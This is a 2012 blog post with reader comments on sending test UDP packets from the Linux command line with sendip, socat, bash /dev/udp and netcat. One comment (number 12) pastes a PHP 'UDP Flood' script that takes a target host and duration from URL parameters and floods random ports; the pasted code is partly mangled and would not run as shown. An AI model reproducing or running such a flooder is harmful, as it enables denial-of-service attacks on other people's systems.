Moy Blog

March 15, 2012

Sending UDP packets from the command line

Filed under: linux — moy @ 00:34

Although is pretty easy to write a perl/python script to send UDP data, I wanted to be able to send a UDP message from the command line to test some code quickly. After 15 seconds of googling I found the awesome command “sendip”. After a minute of reading the man page I got what I needed:

sendip -p ipv4 -is 192.168.1.81 -p udp -us 5070 -ud 5060 -d "Hello" -v 192.168.1.81

This should send a “Hello” message over udp to port 5060 using an ipv4 address.

Here the result:

Added 26 options
Initializing module ipv4
Initializing module udp
Finalizing module udp
Finalizing module ipv4
Final packet data:
45 00 00 21   E..!
34 E0 00 00   4...
FF 11 02 F9   ....
C0 A8 01 51   ...Q
C0 A8 01 51   ...Q
13 CE 13 C4   ....
00 0D 30 7D   ..0}
48 65 6C 6C   Hell
6F   o
Sent 33 bytes to 192.168.1.81
Freeing module ipv4
Freeing module udp

It is pretty awesome that you can build about any protocol packet for quick testing using just bash …

16 Comments »

  1. Gracias por compartir, acabo de publicar tu enlace en Reddit: http://redd.it/qyh7d

    Comment by mis_suscripciones — March 15, 2012 @ 18:37

  2. This is really indeed awesome!
    I was looking at some ruby / perl code for creating such a tool…
    I still think I’m going to play with it – but this is just so awesome..
    Linux just keeps surprising me..

    Thanks a lot for sharing!

    Comment by M00kaw — March 15, 2012 @ 19:36

  3. Have you tried “sipsak” for SIP testing?

    Comment by Jose Ferney Franco — March 17, 2012 @ 13:43

  4. Hi José,

    Never used sipsak, whenever I need full SIP testing I use “sipp”. I see sipsak handy though for quick testing without bothering to write an XML scenario for sipp. Thanks for sharing!

    Comment by Moy — March 18, 2012 @ 20:17

  5. Hi Moy,

    I like socat:
    e.g.:
    echo “HELLO” | socat – UDP-DATAGRAM:192.168.0.255:5000,broadcast

    Checkout some examples:
    http://thekissinglink.blogspot.com/2010/01/socat-examples.html

    Comment by Vlad — June 8, 2012 @ 15:57

  6. Hey Vlad!

    That’s a creative use of socat.

    I had only used it in the past to quickly send freeswitch ESL commands over TCP from bash, I should’ve thought udp support was there as well.

    Thanks for sharing!

    Comment by Moy — June 9, 2012 @ 17:38

  7. can u send that to a public ip like google server or something like that?

    Comment by Vice — July 18, 2012 @ 15:37

  8. Yes you can do that.

    Don’t do evil stuff!

    Comment by Moy — July 19, 2012 @ 12:39

  9. Is it easier to use bash’s built in TCP/UDP handling capabilities?

    echo “hello” > /dev/tcp/192.168.2.101/58549
    echo “hello” > /dev/udp/192.168.2.101/58549

    Comment by Peter — July 25, 2012 @ 11:23

  10. It is definitely another option and looks easier. However, it is probably not as powerful.

    * Can you specify IPv6 somehow? perhaps implicit when using IPv6 address formatting?

    * How do you specify the source IP address and port?

    Another difference is that if you’re using dash (Ubuntu now ships with it I believe), zsh, korn shell or others, that might not work.

    Comment by Moy — July 25, 2012 @ 13:38

  11. how to send to a ports range ?

    Comment by Rain — October 5, 2012 @ 00:07

  12. input{
    background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid #66;
    }
    button{
    background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid #66;
    }
    body {
    background-color: black;
    }

    <?php
    //UDP
    if(isset($_GET['host'])&&isset($_GET['time'])){
    $packets = 0;
    ignore_user_abort(TRUE);
    set_time_limit(0);

    $exec_time = $_GET['time'];

    $time = time();
    //print "Started: ".time('d-m-y h:i:s')."”;
    $max_time = $time+$exec_time;

    $host = $_GET[‘host’];

    for($i=0;$i $max_time){
    break;
    }
    $rand = rand(1,65000);
    $fp = fsockopen(‘udp://’.$host, $rand, $errno, $errstr, 5);
    if($fp){
    fwrite($fp, $out);
    fclose($fp);
    }
    }
    echo “UDP FloodCompleted with $packets (” . round(($packets*65)/1024, 2) . ” MB) packets averaging “. round($packets/$exec_time, 2) . ” packets per second \n”;
    echo ‘
    This form is inoperational!

    Host:
    Length (seconds):
    ‘;
    }else{ echo ‘UDP Flood
    This form is inoperational!

    Host:
    Length (seconds):
    ‘;
    }
    ?>

    Comment by ss — October 8, 2012 @ 21:01

  13. Is “SendIP” a third part tool or comes as port of windows?

    Comment by RR — March 1, 2013 @ 01:53

  14. If you want an easy to way to send/receive TCP/UDP packets, you can just download this: http://packetsender.com/

    Comment by Tim — December 18, 2013 @ 20:15

  15. Thanks for this topic. found exactly what I want to troubleshot rsyslog remote udp message logging

    Comment by Zied — March 28, 2014 @ 12:38

  16. you can also use the ubiquitous net cat
    echo -n “foo” | nc -4u -w1
    http://mikeberggren.com/post/53883822425/ncudp

    Comment by Chris — April 15, 2014 @ 12:47

RSS feed for comments on this post. TrackBack URL

Leave a comment

Powered by WordPress